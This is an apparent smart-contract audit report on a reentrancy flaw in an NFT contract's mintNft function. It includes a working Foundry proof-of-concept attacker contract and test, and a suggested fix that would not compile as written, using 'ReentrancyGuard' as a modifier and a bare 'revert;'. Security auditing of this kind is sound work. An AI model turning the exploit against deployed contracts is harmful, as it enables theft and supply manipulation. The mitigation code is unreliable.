NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

A malicious Whitelisted User can bypass supply constraints by Reentering the `mintNft` function

Author Revealed upon completion

Root + Impact

Description

  • Normal Behavior: The mintNft function should allow a whitelisted user to mint a single NFT per transaction, incrementing the tokenIdCounter linearly until the MAX_SUPPLY is reached.


  • Specific Issue: The function uses _safeMint, which triggers a callback to onERC721Received if the recipient is a contract. Because the contract lacks a Reentrancy Guard, a malicious contract can recursively call mintNft within the callback to mint multiple NFTs in a single top-level transaction.

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
tokenIdCounter++;
collateralForMinting[tokenIdCounter] = lockAmount;
// @audit: Reentrancy, No reentrancy guard
@> _safeMint(msg.sender, tokenIdCounter);
}

Risk

Likelihood:High

  • Reason 1: The use of _safeMint explicitly hands over execution control to the receiver before the function finishes.

  • Reason 2: There is no nonReentrant modifier or state-check to prevent multiple entries from the same caller.

Impact: High

  • Impact 1: A single user can exhaust the MAX_SUPPLY, preventing other whitelisted users from minting.

  • Impact 2: Allows for "bulk-minting" that bypasses any intended distribution logic or rate-limiting.

Proof of Concept

Paste this malicious contract in the NFTDealersTest.t.sol

contract MaliciousUser is IERC721Receiver {
NFTDealers public nftDealers;
MockUSDC public usdc;
uint256 no;
constructor(address _nftDealers, address _usdc) {
nftDealers = NFTDealers(_nftDealers);
usdc = MockUSDC(_usdc);
}
function attack() public {
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
no++;
if (no <= 5) {
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
return IERC721Receiver.onERC721Received.selector;
}
return IERC721Receiver.onERC721Received.selector;
}
}

Now paste this test function

function test_mintNftReentrancy() public revealed {
MaliciousUser malUser = new MaliciousUser(address(nftDealers), address(usdc));
deal(address(usdc), address(malUser), type(uint256).max);
vm.prank(owner);
nftDealers.whitelistWallet(address(malUser));
malUser.attack();
assertEq(nftDealers.tokenIdCounter(), 6, "Worked");
}

Recommended Mitigation

Apply a Reentrancy Guard or update the state before the external call. Note: Adding a mint limit should also follow CEI.

+ mapping(address => uint256) public userNfts;
function mintNft() external payable onlyWhenRevealed onlyWhitelisted ReentrancyGuard {
+ if(userNfts[msg.sender] > 5) revert;
if (msg.sender == address(0)) revert InvalidAddress();
require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
require(msg.sender != owner, "Owner can't mint NFTs");
require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");
tokenIdCounter++;
collateralForMinting[tokenIdCounter] = lockAmount;
+ userNfts[msg.sender] += 1;
_safeMint(msg.sender, tokenIdCounter);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!